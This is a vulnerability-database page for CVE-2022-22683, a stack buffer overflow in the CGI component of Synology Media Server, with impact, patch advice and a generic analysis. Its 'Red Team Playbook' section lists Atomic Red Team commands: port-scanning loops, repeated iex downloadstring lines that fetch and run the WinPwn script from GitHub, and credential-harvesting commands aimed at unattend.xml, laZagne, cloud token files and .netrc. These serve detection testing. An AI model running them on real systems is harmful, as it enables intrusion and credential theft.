CVE-2022-22683
Overview
This vulnerability is a classic stack-based buffer overflow caused by improper bounds checking during a buffer copy operation within the CGI component of Synology Media Server. The flaw arises from copying input data into a fixed-size buffer without validating the input length, leading to memory corruption. The affected component is the CGI handler responsible for processing certain HTTP requests prior to version 1.8.1-2876.
Vulnerability Description
Buffer copy without checking size of input ('Classic Buffer Overflow') vulnerability in cgi component in Synology Media Server before 1.8.1-2876 allows remote attackers to execute arbitrary code via unspecified vectors.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network to execute arbitrary code on the affected system, potentially gaining full control of the Synology Media Server. No user interaction or privileges are required (CVSS vector AV:N/AC:L/PR:N/UI:N). Successful exploitation could lead to complete system compromise, data theft, or service disruption, severely impacting business operations relying on the media server.
Solution
Synology has released an update to address this vulnerability in Synology Media Server version 1.8.1-2876 and later. Administrators should apply this patch promptly as detailed in Synology Security Advisory Synology_SA_20_24 (https://www.synology.com/security/advisory/Synology_SA_20_24). No alternative workarounds are provided, so upgrading to the fixed version is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the cgi component of Synology Media Server is characterized by a classic buffer overflow, which occurs when a program writes more data to a buffer than it can hold. This flaw arises from inadequate validation of input sizes, allowing an attacker to manipulate the memory allocation of the application. Specifically, the vulnerability can be exploited when the server processes user input without properly checking the size, leading to the potential overwriting of adjacent memory locations. This can result in arbitrary code execution, where an attacker can run malicious code on the affected system, compromising its integrity and confidentiality.
Attack vectors for this vulnerability are diverse, as it can be exploited remotely without requiring physical access to the affected systems. An attacker could leverage various methods, such as sending crafted HTTP requests or utilizing malicious scripts that interact with the media server's cgi component. Once the buffer overflow is triggered, the attacker can gain control over the execution flow of the application, potentially leading to the installation of malware, data exfiltration, or unauthorized access to sensitive information stored on the server. Given the nature of media servers, which often handle personal and sensitive data, the implications of such an attack can be severe.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on Synology Media Server for data storage and management. The potential for arbitrary code execution means that attackers could disrupt services, steal sensitive data, or even use the compromised server as a launching point for further attacks within the network. The business risks associated with this vulnerability include financial losses due to downtime, reputational damage from data breaches, and potential legal ramifications stemming from non-compliance with data protection regulations. Organizations that fail to address this vulnerability may find themselves at a competitive disadvantage, as customers increasingly prioritize security in their choice of service providers.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Synology Media Server to the latest version is crucial, as vendors often release patches that address known vulnerabilities. Additionally, employing intrusion detection systems (IDS) can help identify unusual patterns of behavior that may indicate an attempted exploitation of the buffer overflow. Network segmentation can also limit the potential impact of an attack by isolating critical systems from less secure environments. Furthermore, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited by malicious actors.
In conclusion, the buffer overflow vulnerability in the cgi component of Synology Media Server poses a significant threat to organizations utilizing this software. The potential for remote exploitation and arbitrary code execution highlights the need for proactive security measures. By understanding the technical details, possible attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Implementing robust detection and mitigation strategies will not only protect sensitive data but also enhance overall cybersecurity posture in an increasingly hostile digital landscape.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Synology | Media Server | All |
cpe:2.3:a:synology:media_server:*:*:*:*:*:*:*:*
|
|
|
Synology | Media Server | All |
cpe:2.3:a:synology:media_server:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-22683 |
| synology.com |
GitHub CVE
x_refsource_CONFIRM
|
https://www.synology.com/security/advisory/Synology_SA_20_24 |